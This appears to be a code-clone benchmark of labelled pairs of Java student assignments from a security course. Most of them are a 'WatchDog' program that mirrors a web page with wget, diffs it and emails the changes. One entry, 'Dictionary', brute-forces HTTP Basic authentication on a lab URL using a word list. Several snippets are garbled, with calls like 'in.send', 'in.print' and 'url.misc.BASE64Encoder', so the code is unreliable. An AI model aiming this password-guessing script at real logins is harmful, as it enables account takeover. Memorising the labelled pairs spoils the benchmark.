Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
174.java
195.java
0
import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
218.java
195.java
1
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"}; String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; Process p = Runtime.getRuntime().exec("mkdir predir"); p.waitFor(); Process p1 = Runtime.getRuntime().exec("mkdir postdir"); p1.waitFor(); p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("The WatchDog - Returns 0 if change else 1"); System.out.println("Value :" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("change.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
250.java
195.java
0
class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + ":" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
152.java
195.java
0
import java.net.*; import java.io.IOException; import java.util.*; import java.io.*; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length < 1) { System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { System.err.println(e.getMessage()); System.exit(1); } finally { try { inFile.close(); } catch (IOException ex) {ex.printStackTrace();} } } private static void breakPassword (BufferedReader file) throws IOException { String password=" "; userName=""; boolean found= false; MyHttpURLConnection httpURLConnection; String passBase64=" "; urlAuthenticator = new URLAuthenticator(userName); HttpURLConnection u=null; String input; try { url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); } catch (MalformedURLException e){ } catch (IOException io) {io.printStackTrace();} while (( input = file.readLine()) != null) { if (input.length() <=3) { password = input; password =":"+ password; try { u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) { found=true; System.out.println("Your User Name : Password Combination is :"+password+ " "+ " Found by Thread"); System.out.println(" "); System.out.println(" of Attempts / Requests "+ noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } } } } } class URLAuthenticator extends Authenticator { private String uName; String passwd; static private char[] password; public URLAuthenticator(String uName) { this.uName = uName; } public void setPassword(String passwd) { this.passwd=passwd; password=passwd.toCharArray(); } public PasswordAuthentication getPasswordAuthentication() { PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password); return passwordAuthentication; } } class MyHttpURLConnection extends HttpURLConnection { public MyHttpURLConnection(URL url) { super(url); } public void disconnect() { } public boolean usingProxy() { return true; } public void connect() { } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
187.java
195.java
0
import java.net.*; import java.io.*; import java.util.Date; public class MyMail implements Serializable { public static final int SMTPPort = 25; public static final char successPrefix = '2'; public static final char morePrefix = '3'; public static final char failurePrefix = '4'; private static final String CRLF = "\r\n"; private String mailFrom = ""; private String mailTo = ""; private String messageSubject = ""; private String messageBody = ""; private String mailServer = ""; public MyMail () { super(); } public MyMail ( String serverName) { super(); mailServer = serverName; } public String getFrom() { return mailFrom; } public String getTo() { return mailTo; } public String getSubject() { return messageSubject; } public String getMessage() { return messageBody; } public String getMailServer() { return mailServer; } public void setFrom( String from ) { mailFrom = from; } public void setTo ( String To ) { mailTo = To; } public void setSubject ( String subject ) { messageSubject = subject; } public void setMessage ( String msg ) { messageBody = msg; } public void setMailServer ( String server ) { mailServer = server; } private boolean responseValid( String response ) { if (response.indexOf(" ") == -1) return false; String cad = response.substring( 0, response.indexOf(" ")); cad = cad.toUpperCase(); if (( cad.charAt(0) == successPrefix ) || ( cad.charAt(0) == morePrefix ) ) return true; else return false; } public void sendMail() { try { String response; Socket mailSock = new Socket (mailServer, SMTPPort); BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); System.out.println("1"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); try { InetAddress addr = InetAddress.getLocalHost(); String localHostname = addr.getHostName(); pout.print ("HELO " + localHostname + CRLF); } catch (UnknownHostException uhe) { pout.print ("HELO myhostname" + CRLF); } pout.flush(); System.out.println("2"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("MAIL From:<" + mailFrom + ">"); pout.flush(); System.out.println("3"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("RCPT :<" + mailTo + ">"); pout.flush(); System.out.println("4"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("DATA"); pout.flush(); System.out.println("5"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("From: " + mailFrom); pout.println (": " + mailTo); pout.println ("Subject: " + messageSubject); pout.println (); pout.println (messageBody); pout.println (".\n\r"); pout.flush(); System.out.println("6"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("QUIT"); pout.flush(); mailSock.close(); } catch (IOException ioe) { System.out.println(ioe.getMessage()); } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
205.java
195.java
0
import java.util.*; import java.io.*; public class DicReader { private Vector v; public DicReader( String fileName) { boolean flag = true; String line; v = new Vector( 50); try { BufferedReader in = new BufferedReader( new FileReader( fileName)); while(( line = in.readLine()) != null) { flag = true; if( line.length() > 0 && line.length() < 4 ) { for( int i = 0; i < line.length(); i++) { if( Character.isLetter( line.charAt( i)) == false) { flag = false; } } if( flag == true) { v.add( line); } } } in.print(); } catch( IOException e) { System.out.println( " not open the file!"); System.exit( 0); } } public Vector getVictor() { return v; } public static void main ( String [] args) { DicReader fr = new DicReader( "/usr/share/lib/dict/words"); System.out.println( " far "+fr.getVictor().size()+" combinations loaded"); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
203.java
195.java
0
import java.net.*; import java.io.*; import java.util.*; public class MailClient { private String host; private int port; private String message; public MailClient( String host, int port, Vector lineNumbers) { this.host = host; this.port = port; StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "); for( int i = 0; i < lineNumbers.size(); i++) { buf.append( lineNumbers.elementAt( i)); buf.append(", "); } message = buf.toString(); } public void connect() { try { Socket client = new Socket( host, port); handleConnection( client); } catch ( UnknownHostException uhe) { System.out.println("Unknown host: " + host); uhe.printStackTrace(); } catch (IOException ioe) { System.out.println("IOException: " + ioe); ioe.printStackTrace(); } } private void handleConnection(Socket client) { try { PrintWriter out = new PrintWriter( client.getOutputStream(), true); InputStream in = client.getInputStream(); byte[] response = new byte[1000]; in.send( response); out.println("HELO "+host); int numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("MAIL FROM: [email protected]."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("RCPT : @cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("DATA"); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println( message+"\n."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("QUIT"); client.connect(); } catch(IOException ioe) { System.out.println("Couldn't make connection:" + ioe); } } public static void main( String[] args) { Vector v = new Vector(); v.add( new Integer(5)); v.add( new Integer(12)); MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v); c.connect(); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
095.java
195.java
0
import java.net.*; import java.io.*; import java.util.*; import java.text.*; public class WatchDog extends Thread { private HttpURLConnection httpUrlCon; private URL stdurl; private String spec = "http://www.cs.rmit.edu./students/"; private String command=""; private String firstModified =""; private String secModified = ""; private String fileModified = ""; private BufferedReader instd; private Vector firstVector; private Vector secondVector; private Vector tmpVector; private int intervalTime = 24*60*60*1000; private boolean bstop = false; private int count = 0; private int totalDuration = 30*24*60*60*1000; private String yourSMTPserver = "mail.rmit.edu."; private int smtpPort = 25; private String mailFrom = "@yallara.cs.rmit.edu."; private String mailTo = "@.rmit.edu."; private String subject = ""; private String message =""; private Socket socketsmtp; private BufferedReader emailin; private PrintStream emailout; private String reply = ""; public WatchDog(){ firstVector = new Vector(); secondVector = new Vector(); tmpVector = new Vector(); } public void FirstRead(){ readContent(firstVector); firstModified = fileModified; } public void run(){ while(!bstop){ readPageAgain(); } } public void readPageAgain(){ try{ Thread.sleep(intervalTime); }catch(InterruptedException e){e.printStackTrace();} count += intervalTime; readContent(secondVector); secModified = fileModified; if(firstModified.equals(secModified)){ if(count == totalDuration) bstop =true; message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!"; subject = " is change the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch (SMTPException e){} } else if(!(firstModified.equals(secModified))){ if(count == totalDuration) bstop = true; message = getChangeMessage(); subject = " some changes the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch(SMTPException e){} firstModified = secModified; firstVector.clear(); for(int i=0; i<secondVector.size(); i++){ firstVector.add((String)secondVector.get(i)); } } } public void readContent(Vector avect){ String fmod =""; if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){ fmod = "File last modified :"; command = "lynx -nolist -dump " + spec; } else { fmod = "Last-Modified:"; command ="lynx -mime_header -dump " +spec; } try{ Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); instd = new BufferedReader(new InputStreamReader(p.getInputStream())); String str=null; avect.clear(); while((str = instd.readLine())!= null){ avect.add(str); if(str.indexOf(fmod) !=-1){ fileModified = str; } } 